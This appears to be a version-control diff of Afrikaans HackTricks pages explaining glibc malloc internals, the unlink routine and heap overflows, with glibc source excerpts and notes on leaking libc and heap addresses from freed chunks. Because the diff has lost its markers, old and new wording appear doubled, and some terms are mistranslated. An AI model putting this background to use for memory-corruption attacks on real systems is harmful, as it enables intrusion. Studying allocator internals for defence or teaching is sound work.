* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Toewysingsvolgorde Opsomming <a href="#libc_malloc" id="libc_malloc"></a>
(Geen kontroles word in hierdie opsomming verduidelik en sommige gevalle is weggelaat vir bondigheid)
1. `__libc_malloc` probeer om 'n stukkie van die tcache te kry, indien nie, roep dit `_int_malloc` aan
1. `__libc_malloc` probeer om 'n stukkie uit die tcache te kry, indien nie, roep dit `_int_malloc` aan
2. `_int_malloc` :&#x20;
1. Probeer om die arena te genereer indien daar nie een is nie
2. As enige vinnige bin-stuk van die regte grootte, gebruik dit
2. Indien enige vinnige bin-stuk van die korrekte grootte, gebruik dit
1. Vul tcache met ander vinnige stukkies
3. As enige klein bin-stuk van die regte grootte, gebruik dit
3. Indien enige klein bin-stuk van die korrekte grootte, gebruik dit
1. Vul tcache met ander stukkies van daardie grootte
4. As die versoekte grootte nie vir klein bakkies is nie, konsolideer vinnige bin in ongesorteerde bin
5. Kontroleer die ongesorteerde bin, gebruik die eerste stukkie met genoeg spasie
1. As die gevonde stukkie groter is, verdeel dit om 'n deel terug te gee en die res terug te voeg na die ongesorteerde bin
2. As 'n stukkie van dieselfde grootte as die versoekte grootte is, gebruik dit om die tcache te vul in plaas van om dit terug te gee (tot die tcache vol is, gee dan die volgende een terug)
3. Vir elke stukkie van kleiner grootte wat nagegaan is, sit dit in sy betrokke klein of groot bin
6. Kontroleer die groot bin in die indeks van die versoekte grootte
1. Begin soek vanaf die eerste stukkie wat groter is as die versoekte grootte, indien enige gevind word, gee dit terug en voeg die res na die klein bin
4. Indien die gevraagde grootte nie vir klein bakkies is nie, konsolideer vinnige bin in ongesorteerde bin
5. Kontroleer die ongesorteerde bin, gebruik die eerste stuk met genoeg spasie
1. Indien die gevonde stuk groter is, verdeel dit om 'n deel terug te gee en die herinnering terug te voeg na die ongesorteerde bin
2. Indien 'n stuk van dieselfde grootte as die gevraagde grootte is, gebruik dit om die tcache te vul in plaas van om dit terug te gee (tot die tcache vol is, gee dan die volgende een terug)
3. Vir elke stuk van kleiner grootte wat nagegaan is, plaas dit in die betrokke klein of groot bin
6. Kontroleer die groot bin in die indeks van die gevraagde grootte
1. Begin soek vanaf die eerste stuk wat groter is as die gevraagde grootte, indien enige gevind word, gee dit terug en voeg die herinnerings by die klein bin
7. Kontroleer die groot bakkies vanaf die volgende indekse tot die einde
1. Vanaf die volgende groter indeks, soek vir enige stukkie, verdeel die eerste gevonde stukkie om dit te gebruik vir die versoekte grootte en voeg die res na die ongesorteerde bin
8. As niks gevind word in die vorige bakkies nie, kry 'n stukkie van die boonste stukkie
9. As die boonste stukkie nie groot genoeg was nie, vergroot dit met `sysmalloc`
1. Vanaf die volgende groter indeks, soek vir enige stuk, verdeel die eerste gevonde stuk om dit te gebruik vir die gevraagde grootte en voeg die herinnering by die ongesorteerde bin
8. Indien niks gevind word in die vorige bakkies nie, kry 'n stukkie van die boonste stuk
9. Indien die boonste stuk nie groot genoeg was nie, vergroot dit met `sysmalloc`
## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a>
Die `malloc`-funksie roep eintlik `__libc_malloc` aan. Hierdie funksie sal die tcache nagaan om te sien of daar enige beskikbare stukkie van die gewenste grootte is. As dit wel is, sal dit dit gebruik en indien nie, sal dit nagaan of dit 'n enkele draad is en in daardie geval sal dit `_int_malloc` in die hoofarena aanroep, en indien nie, sal dit `_int_malloc` in die arena van die draad aanroep.
Die `malloc`-funksie roep eintlik `__libc_malloc` aan. Hierdie funksie sal die tcache nagaan om te sien of daar enige beskikbare stuk van die gewenste grootte is. Indien dit wel is, sal dit dit gebruik en indien nie, sal dit nagaan of dit 'n enkele draad is en in daardie geval sal dit `_int_malloc` in die hoof-arena aanroep, en indien nie, sal dit `_int_malloc` in die arena van die draad aanroep.
<details>
<summary>__libc_malloc kode</summary>
<summary>__libc_malloc-kode</summary>
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -203,7 +204,7 @@ return p;
### Vinnige Bin
Indien die benodigde grootte binne die Vinnige Bin-groottes val, probeer om 'n stukkie uit die vinnige bin te gebruik. Basies, gebaseer op die grootte, sal dit die vinnige bin-indeks vind waar geldige stukkies geleë behoort te wees, en indien enige, sal dit een van daardie teruggee.\
Verder, indien tcache geaktiveer is, sal dit **die tcache-bin van daardie grootte met vinnige bakkies vul**.
Verder, indien tcache geaktiveer is, sal dit **die tcache-bin van daardie grootte met vinnige bins vul**.
Terwyl hierdie aksies uitgevoer word, word daar sekuriteitskontroles hier uitgevoer:
@ -305,7 +306,7 @@ Dan word 'n sekuriteitskontrole uitgevoer deur te kyk:
In daardie geval kry die stuk die `inuse`-bit, die dubbelgekoppelde lys word reggemaak sodat hierdie stuk daaruit verdwyn (aangesien dit gebruik gaan word), en die nie-hoofarena-bit word ingestel indien nodig.
Laastens, **vul die tcache-indeks van die versoekte grootte** met ander stukke binne die klein bin (indien enige).
Laastens, **vul die tcache-indeks van die versoekte grootte** met ander stukke binne die klein bin (indien enige).
<details>
@ -370,13 +371,11 @@ return p;
}
}
```
### malloc\_consolidate
</details>
Indien dit nie 'n klein brokkie was nie, is dit 'n groot brokkie, en in hierdie geval word **`malloc_consolidate`** geroep om geheuefragmentasie te vermy.
### malloc\_konsolideer
<details>
<summary>malloc_consolidate oproep</summary>
Indien dit nie 'n klein brokkie was nie, is dit 'n groot brokkie, en in hierdie geval word **`malloc_consolidate`** geroep om geheuefragmentasie te voorkom.
```c
/*
If this is a large request, consolidate fastbins before continuing.
@ -401,7 +400,7 @@ malloc_consolidate (av);
Die malloc konsolideer funksie verwyder basies brokkies uit die vinnige bin en plaas hulle in die ongesorteerde bin. Na die volgende malloc sal hierdie brokkies georganiseer wees in hul onderskeie klein/vinnige bakkies.
Let daarop dat as daar terwyl hierdie brokkies verwyder word, gevind word dat hulle met vorige of volgende brokkies wat nie in gebruik is nie, hulle sal **ontkoppel en saamgevoeg** word voordat die finale brokkie in die **ongesorteerde** bin geplaas word.
Let daarop dat as daar tydens die verwydering van hierdie brokkies gevind word met vorige of volgende brokkies wat nie in gebruik is nie, sal hulle **ontkoppel en saamgevoeg** word voordat die finale brokkie in die **ongesorteerde** bin geplaas word.
Vir elke vinnige bin brokkie word 'n paar sekuriteitskontroles uitgevoer:
@ -522,14 +521,14 @@ Dit is tyd om die ongeordende bin te ondersoek vir 'n potensiële geldige stuk o
Dit begin met 'n groot for-lus wat die ongeordende bin in die `bk` rigting sal deurloop totdat dit by die einde (die arena struktuur) kom met `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`&#x20;
Daarbenewens word daar elke keer as 'n nuwe stuk oorweeg, sekuriteitskontroles uitgevoer:
Daarbenewens word daar elke keer as 'n nuwe stuk oorweeg word, sekuriteitskontroles uitgevoer:
* As die stukgrootte vreemd is (te klein of te groot): `malloc(): ongeldige grootte (ongeordend)`
* As die volgende stukgrootte vreemd is (te klein of te groot): `malloc(): ongeldige volgende grootte (ongeordend)`
* As die vorige grootte aangedui deur die volgende stuk verskil van die grootte van die stuk: `malloc(): ongelykheid volgende->prev_size (ongeordend)`
* As die vorige grootte aangedui deur die volgende stuk verskil van die grootte van die stuk: `malloc(): nie ooreenstemmende next->prev_size (ongeordend)`
* As nie `victim->bck->fd == victim` of nie `victim->fd == av` (arena) nie: `malloc(): ongeordende dubbelgekoppelde lys gekorruptheid`
* Aangesien ons altyd die laaste een nagaan, moet sy `fd` altyd na die arena struktuur wys.
* As die volgende stuk nie aandui dat die vorige in gebruik is nie: `malloc(): ongeldige volgende->prev_inuse (ongeordend)`
* As die volgende stuk nie aandui dat die vorige in gebruik is nie: `malloc(): ongeldige next->prev_inuse (ongeordend)`
<details>
@ -586,7 +585,7 @@ malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
#### as `in_smallbin_range`
Indien die blok groter is as die gevraagde grootte, gebruik dit, en stel die res van die blokspasie in die ongesorteerde lys en werk die `last_remainder` daarmee op.
Indien die brokkie groter is as die gevraagde grootte, gebruik dit, en stel die res van die brokkie spasie in die ongesorteerde lys en werk die `last_remainder` daarmee op.
<details>
@ -633,11 +632,11 @@ return p;
```
</details>
Indien dit suksesvol was, gee die stuk terug en dis klaar, indien nie, gaan voort met die uitvoering van die funksie...
Indien dit suksesvol was, gee die stuk terug en dis klaar, indien nie, gaan voort met die uitvoer van die funksie...
#### indien gelyke grootte
Gaan voort om die stuk uit die bin te verwyder, in die geval waar die versoekte grootte presies dieselfde is as die grootte van die stuk:
Gaan voort met die verwydering van die stuk uit die bin, in die geval waar die versoekte grootte presies dieselfde is as die grootte van die stuk:
* Indien die tcache nie vol is nie, voeg dit by die tcache en gaan voort om aan te dui dat daar 'n tcache stuk is wat gebruik kan word
* Indien die tcache vol is, gebruik dit net deur dit terug te gee
@ -686,18 +685,18 @@ return p;
Indien blok nie teruggegee of by tcache gevoeg is nie, gaan voort met die kode...
#### plaas blok in 'n houer
#### plaas blok in 'n bin
Berg die nagegaan blok op in die klein houer of in die groot houer volgens die grootte van die blok (deur die groot houer behoorlik georganiseer te hou).
Stoor die nagegaan blok in die klein bin of in die groot bin volgens die grootte van die blok (hou die groot bin behoorlik georganiseer).
Daar word sekuriteitskontroles uitgevoer om te verseker dat beide groot houer dubbel gekoppelde lys nie beskadig is nie:
Daar word sekuriteitskontroles uitgevoer om te verseker dat beide groot bin dubbel gekoppelde lys nie gekorrupteer is nie:
* Indien `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
* Indien `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
<details>
<summary><code>_int_malloc</code> plaas blok in 'n houer</summary>
<summary><code>_int_malloc</code> plaas blok in 'n bin</summary>
```c
/* place chunk in bin */
@ -767,13 +766,19 @@ victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```
</details>
#### `_int_malloc` limiete
Op hierdie punt, as 'n stukkie in die tcache gestoor was wat gebruik kan word en die limiet bereik is, **gee net 'n tcache stukkie terug**.
Op hierdie punt, as daar 'n stuk in die tcache gestoor was wat gebruik kan word en die limiet bereik is, moet net **'n tcache stuk teruggee**.
Verder, as **MAX\_ITERS** bereik is, breek uit die lus en kry 'n stukkie op 'n ander manier (top stukkie).
Verder, as **MAX\_ITERS** bereik is, breek uit die lus en kry 'n stuk op 'n ander manier (top stuk).
As `return_cached` ingestel was, gee net 'n stukkie van die tcache terug om groter soektogte te vermy.
As `return_cached` ingestel was, gee net 'n stuk van die tcache terug om groter soektogte te vermy.
<details>
<summary><code>_int_malloc</code> limiete</summary>
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7
@ -808,7 +813,7 @@ Indien limiete nie bereik is nie, gaan voort met die kode...
### Groot Bin (volgens indeks)
Indien die versoek groot is (nie in klein bin nie) en ons nog nie enige stuk teruggegee het nie, kry die **indeks** van die versoekte grootte in die **groot bin**, kontroleer of dit **nie leeg is** of as die **grootste stuk in hierdie bin groter is** as die versoekte grootte en in daardie geval vind die **kleinste stuk wat gebruik kan word** vir die versoekte grootte.
Indien die versoek groot is (nie in klein bin nie) en ons nog nie enige stuk teruggegee het nie, kry die **indeks** van die versoekte grootte in die **groot bin**, kontroleer of dit **nie leeg is nie** of as die **grootste stuk in hierdie bin groter is** as die versoekte grootte en in daardie geval vind die **kleinste stuk wat gebruik kan word** vir die versoekte grootte.
Indien die oorblywende spasie van die uiteindelik gebruikte stuk 'n nuwe stuk kan wees, voeg dit by die ongesorteerde bin en die lsast\_reminder word opgedateer.
@ -895,7 +900,7 @@ Indien 'n stuk nie geskik is vir hierdie doel nie, gaan voort
### Groot Bin (volgende groter)
Indien daar in die presiese groot bin geen stuk is wat gebruik kan word nie, begin om deur al die volgende groot bin te loop (beginnende by die onmiddellik groter) totdat een gevind word (indien enige).
Indien daar in die presiese groot bin geen stuk is wat gebruik kan word nie, begin om deur al die volgende groot binne te loop (beginnende by die onmiddellik groter) totdat een gevind word (indien enige).
Die oorblywende deel van die gesplete stuk word by die ongesorteerde bin gevoeg, last\_reminder word opgedateer en dieselfde sekuriteitskontrole word uitgevoer:
@ -1017,21 +1022,21 @@ return p;
```
</details>
### Top Blok
### Topstuk
Op hierdie punt is dit tyd om 'n nuwe blok van die Top blok te kry (as dit groot genoeg is).
Op hierdie punt is dit tyd om 'n nuwe stuk van die Topstuk te kry (as dit groot genoeg is).
Dit begin met 'n sekuriteitskontrole om seker te maak dat die grootte van die blok nie te groot is (beskadig nie):
Dit begin met 'n sekuriteitskontrole om seker te maak dat die grootte van die stuk nie te groot is (beskadig nie):
* `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
Daarna sal dit die top blok spasie gebruik as dit groot genoeg is om 'n blok van die versoekte grootte te skep.\
Indien nie, as daar vinnige blokke is, konsolideer hulle en probeer weer.\
Dan sal dit die topstukspasie gebruik as dit groot genoeg is om 'n stuk van die gevraagde grootte te skep.\
Indien nie, as daar vinnige stukke is, konsolideer hulle en probeer weer.\
Laastens, as daar nie genoeg spasie is nie, gebruik `sysmalloc` om genoeg grootte toe te ken.
<details>
<summary><code>_int_malloc</code> Top blok</summary>
<summary><code>_int_malloc</code> Topstuk</summary>
```c
use_top:
/*
@ -1102,11 +1107,7 @@ return p;
### sysmalloc begin
Indien arena nul is of die gevraagde grootte te groot is (en daar is nog toegestane mmaps oor), gebruik `sysmalloc_mmap` om ruimte toe te ken en dit terug te gee.
<details>
<summary>sysmalloc begin</summary>
Indien arena nul is of die gevraagde grootte te groot is (en daar is nog toegestane mmaps oor), gebruik `sysmalloc_mmap` om ruimte toe te wijs en dit terug te gee.
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
@ -1183,9 +1184,9 @@ Dit begin deur ou top chunk-inligting te kry en te kontroleer dat sommige van di
* Die grootte van die vorige heap is groter as MINSIZE en die ou Top is in gebruik
* Die heap is belyn met bladsy-grootte (0x1000 sodat die laer 12-bits 0 moet wees)
Dan word ook nagegaan dat:
Dan kontroleer dit ook dat:
* Die ou grootte nie genoeg spasie het om 'n brokkie vir die gevraagde grootte te skep
* Die ou grootte nie genoeg spasie het om 'n brokkie vir die versoekte grootte te skep
<details>
@ -1212,12 +1213,14 @@ prev_inuse (old_top) &&
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
```
</details>
### sysmalloc nie hoof-arena nie
Dit sal eerste probeer om die vorige heap vir hierdie heap **uit te brei**. Indien nie moontlik nie, probeer om 'n nuwe heap toe te ken en die aanwysers op te dateer om dit te kan gebruik.\
Laastens, as dit nie werk nie, probeer om **`sysmalloc_mmap`** te roep.&#x20;
Laastens, as dit nie werk nie, probeer om **`sysmalloc_mmap`** aan te roep.&#x20;
</details>
<details>
```c
if (av != &main_arena)
{
@ -1277,9 +1280,15 @@ return mm;
}
}
```
</details>
### sysmalloc hoofarena
Dit begin met die berekening van die hoeveelheid geheue wat benodig word. Dit sal begin deur aaneenlopende geheue aan te vra, sodat dit in hierdie geval moontlik sal wees om die ou geheue wat nie gebruik word nie, te gebruik. Ook word sommige belyn-operasies uitgevoer.
Dit begin met die berekening van die hoeveelheid geheue wat benodig word. Dit sal begin deur aaneenlopende geheue aan te vra, sodat dit in hierdie geval moontlik sal wees om die ou geheue wat nie gebruik word nie, te gebruik. Ook word daar enkele belyn-operasies uitgevoer.
<details>
<summary>sysmalloc hoofarena</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10
@ -1333,7 +1342,7 @@ madvise_thp (brk, size);
LIBC_PROBE (memory_sbrk_more, 2, brk, size);
}
```
### sysmalloc hoof-arena vorige fout 1
### sysmalloc hoofarena vorige fout 1
Indien die vorige `MORECORE_FAILURE` teruggegee het, probeer weer om geheue toe te ken deur `sysmalloc_mmap_fallback` te gebruik.
```c
@ -1366,9 +1375,9 @@ snd_brk = brk + size;
}
}
```
### sysmalloc hoofarena voortgaan
### sysmalloc hoof-arena voortgaan
Indien die vorige nie `MORECORE_FAILURE` teruggegee het nie, indien dit gewerk het, skep enige belynings:
Indien die vorige nie `MORECORE_FAILURE` teruggegee het nie, as dit gewerk het, skep enige belynings:
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
@ -1677,16 +1686,17 @@ return chunk2mem (p);
```
</details>
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# unlink
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
### Code
```c
@ -64,42 +65,43 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
```
### Grafiese Verduideliking
Kyk na hierdie fantastiese grafiese verduideliking van die unlink-proses:
Kyk na hierdie uitstekende grafiese verduideliking van die unlink-proses:
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Sekuriteitskontroles
* Kontroleer of die aangeduide grootte van die blok dieselfde is as die prev\_size aangedui in die volgende blok
* Kontroleer of die aangeduide grootte van die blok dieselfde is as die prev\_size wat in die volgende blok aangedui word
* Kontroleer ook dat `P->fd->bk == P` en `P->bk->fw == P`
* As die blok nie klein is nie, kontroleer dat `P->fd_nextsize->bk_nextsize == P` en `P->bk_nextsize->fd_nextsize == P`
### Lekke
'n Unlinked blok skoonmaak nie die toegewysde adresse nie, dus deur toegang daartoe te hê, is dit moontlik om sekere interessante adresse te lek:
'n Ongekoppelde blok skoonmaak nie die toegewysde adresse nie, dus deur toegang daartoe te hê, is dit moontlik om sekere interessante adresse te lek:
Libc Lekke:
Libc-lekke:
* As P in die kop van die dubbelgekoppelde lys geleë is, sal `bk` na `malloc_state` in libc wys
* As P aan die einde van die dubbelgekoppelde lys geleë is, sal `fd` na `malloc_state` in libc wys
* Wanneer die dubbelgekoppelde lys slegs een vry blok bevat, is P in die dubbelgekoppelde lys, en kan beide `fd` en `bk` die adres binne `malloc_state` lek.
Heap lekke:
Heap-lekke:
* As P in die kop van die dubbelgekoppelde lys geleë is, sal `fd` na 'n beskikbare blok in die heap wys
* As P aan die einde van die dubbelgekoppelde lys geleë is, sal `bk` na 'n beskikbare blok in die heap wys
* As P in die dubbelgekoppelde lys is, sal beide `fd` en `bk` na 'n beskikbare blok in die heap wys
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,54 +1,55 @@
# Heap Oorloop
# Heap Oorvloei
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
'n Heap oorloop is soos 'n [**stapel oorloop**](../stack-overflow/) maar in die heap. Dit beteken basies dat 'n spasie in die heap gereserveer was om data te stoor en **die gestoorde data was groter as die gereserveerde spasie.**
'n Heap oorvloei is soos 'n [**stapel oorvloei**](../stack-overflow/) maar in die heap. Dit beteken basies dat 'n spasie in die heap gereserveer was om data te stoor en **die gestoorde data was groter as die gereserveerde spasie.**
In stapeloorlope weet ons dat sekere registers soos die instruksie-aanwyser of die stapelraam van die stapel herstel gaan word en dit moontlik is om dit te misbruik. In die geval van heap oorlope, **word daar nie enige sensitiewe inligting standaard in die heapstuk gestoor wat oorloop kan word nie.** Dit kan egter sensitiewe inligting of aanwysers wees, dus die **kritikaliteit** van hierdie kwesbaarheid **hang af** van **watter data oorskryf kan word** en hoe 'n aanvaller dit kan misbruik.
In stapel oorvloeie weet ons dat sekere registers soos die instruksie-aanwyser of die stapelraam van die stapel herstel gaan word en dit moontlik is om dit te misbruik. In die geval van heap oorvloeie, is daar **nie enige sensitiewe inligting wat standaard in die heapstuk gestoor word nie** wat oorvloei kan word. Dit kan egter sensitiewe inligting of aanwysers wees, dus die **kritikaliteit** van hierdie kwesbaarheid **hang af** van **watter data oorskryf kan word** en hoe 'n aanvaller dit kan misbruik.
{% hint style="success" %}
Om oorloopafsette te vind, kan jy dieselfde patrone gebruik as in [**stapeloorlope**](../stack-overflow/#finding-stack-overflows-offsets).
Om oorvloei-offsette te vind, kan jy dieselfde patrone gebruik as in [**stapel oorvloeie**](../stack-overflow/#finding-stack-overflows-offsets).
{% endhint %}
### Stapeloorlope vs Heapoorlope
### Stapel Oorvloeie vs Heap Oorvloeie
In stapeloorlope is die rangskikking en data wat teenwoordig gaan wees in die stapel op die oomblik wanneer die kwesbaarheid geaktiveer kan word, redelik betroubaar. Dit is omdat die stapel lineêr is, altyd toeneem in botsende geheue, in **spesifieke plekke van die program hardloop die stapelgeheue gewoonlik soortgelyke data** en dit het 'n spesifieke struktuur met 'n paar aanwysers aan die einde van die stapelgedeelte wat deur elke funksie gebruik word.
